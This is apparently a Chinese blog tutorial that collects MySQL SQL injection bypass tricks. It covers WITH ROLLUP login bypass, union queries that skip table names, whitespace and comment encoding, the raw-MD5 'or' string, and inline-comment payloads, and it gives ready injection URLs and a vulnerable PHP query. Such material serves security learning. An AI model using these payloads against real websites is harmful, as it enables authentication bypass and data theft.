sql一些技巧

最近比较多事,很多地方都停滞不前,想来还是静下心来做些事比较好。
整理一些关于mysql的一些注入技巧,详细的可以到github里面看。里面 有完整的项目。
首先说来最基本的,大小写绕过,字符编码绕过,注释绕过,用||代替or,用&&代替and这些比较普遍的都是基本功,也就是说肯定是每个语句都要用到以上内容,这样可以省下很多时间,
而且,也不会有那么弱的网站对这些都不加以限制,所以这些算是起码的尊重,然而把希望过多的寄存在这里是肯定不够的。
所以我们才有那么多的偏门技巧。本篇就是讲这些较为实用性的大杀器。当然不是我总结出来的,我只是搬运工。


闲话少说,第一个是关于with rollup的用法

一般with rollup前面 搭配group by,group by指定好目标之后,with rollup将会产生一个null的目标,或许你要问这个null的对我们有什么用啊,但其实结合实际
一般的php判断语句是先根据我们的login判断是否在数据库中有这样一列,如果有则进入下一个判断,下一个判断就是判断我们传入的password是否等于数据库中的数据。
想象一下,如果我们group by password with rollup,那么就会产生一个null的password列,然后我们通过limit取出这一行,即可,如果不知道username就用上面那些基础方法如username=‘’Or 1=1,username=0‘ or 1=1(字符与数字比较被视为0),如果limit被过滤了就用编码绕过,十六进制绕过
第二个是不知表名的绕过
这个就是黑科技了,mysql的设计是这样,我们创造了1,2,3,4列,然后用联合查询,如果列数相同就会合并
 select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
 select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3
select 1,2,3,4 union select * from users;

第三个是空格的绕过
本来这个是不想讲的,毕竟太普遍了,可是由于方法比较多,还是讲一下,首先是字符编码%20, %09, %0a, %0b, %0c, %0d, %a0
其次是注释绕过/**/,注释可以用内联注释,如/*!1234select*//**/* from


第四个是md5的绕过
有时候判断语句不是从数据库中拿出明文进行判断而是用md5散列后的值进行判断,绕过的方法是构造一个经过解析为字符的数字串,只要字符中有我们用于绕过的字符就一样达到效果,所以关键在于构造这样的数字串,原文构造的数字串是
129581926211651571912466741651878684928
                                                                                                                                                    经过md5的内容会是
?T0D??o#??'or'8.N=?
可以看到出现了‘or’8  这样的字符,这个就可以绕过了
 

这样我们会得到username字段和经过MD5散列的表,接下来要做的就是把md5散列的还原,这个网上可能会找的到彩虹表,如果 没有那就--放弃吧。。


第五个是字符连接的操作

一般关键的字符会被过滤

这个时候就是连接的好处了,一般说来直接用单引号就可以连接‘a’'d''m''i''n',然后也可以用字符串连接函数concat,concat_ws,group_concat//需要注意的是concat的函数如果有一个是null就会返回null,是不是又给你带来了新思路hh.

讲到函数还有一个IF(1=1,true,false)

?id=1+UnIoN+SeLecT+1,2,3-- //主要是运用大小写和+,用union判断列的数量

?id=1+UNunionION+SEselectLECT+1,2,3--//过滤


?id=1+un/**/ion+se/**/lect+1,2,3--



<span style="font-family: 微软雅黑, "Microsoft YaHei";">UNION SELECT /*!50000 5,null;%00*//*!40000 4,null-- ,*//*!30000 3,null-- x*/0,null--+<br>SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);</span>//额权当姿势越多越好

第五个是登录时候的骚姿势

比如说登录where username =''='',select一个空将返回null,null=null,,ojbk


绕过:

文件的63行开始可以看到,此处将传入的%27和%2527都进行删除处理,也就是还没传入数据库前就已经被该死的程序吃了,但是在67行看到他还吃了*,这样我们就有办法了,我们构造%*27,这样程序吃掉星号*后,%27就会被传入。

payload:

1
http://localhost/injection/user.php?id%3D1%*27%*20and%*20%*271%*27%3D%*271

(id=1' and '1'='1-->id%3D1%*27%*20and%*20%*271%*27%3D%*271)

?id=1+un/**/ion+se/**/lect+1,2,3--

?id=1+un/**/ion+se/**/lect+1,2,3--

$id = $_REQUEST[ 'id' ];
$query  = "SELECT * FROM admin WHERE username = $id ";
比如是这样一个查询语句,直接用 '='就行

还有用in绕过过滤等号或者like

比如 select substr('admin',1,5) in('admin')

select * from where id in(1)

还有between

select * from users where username between 'aa' and 'ae';  //admin就会被弹出

十六进制绕过引号

select * from users where username between 0x6161 and 0x6165

?id=1+un/**/ion+se/**/lect+1,2,3--
?id=1+un/**/ion+se/**/lect+1,2,3--
运算符比较绕过,sql中的运算符是弱类型的,除了前面说的字符与数字比较被视为0以外,字符与字符比较也是有有大小之分的,比如可以用
select * from table where username >'a'
select* from table where username >'ad'

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值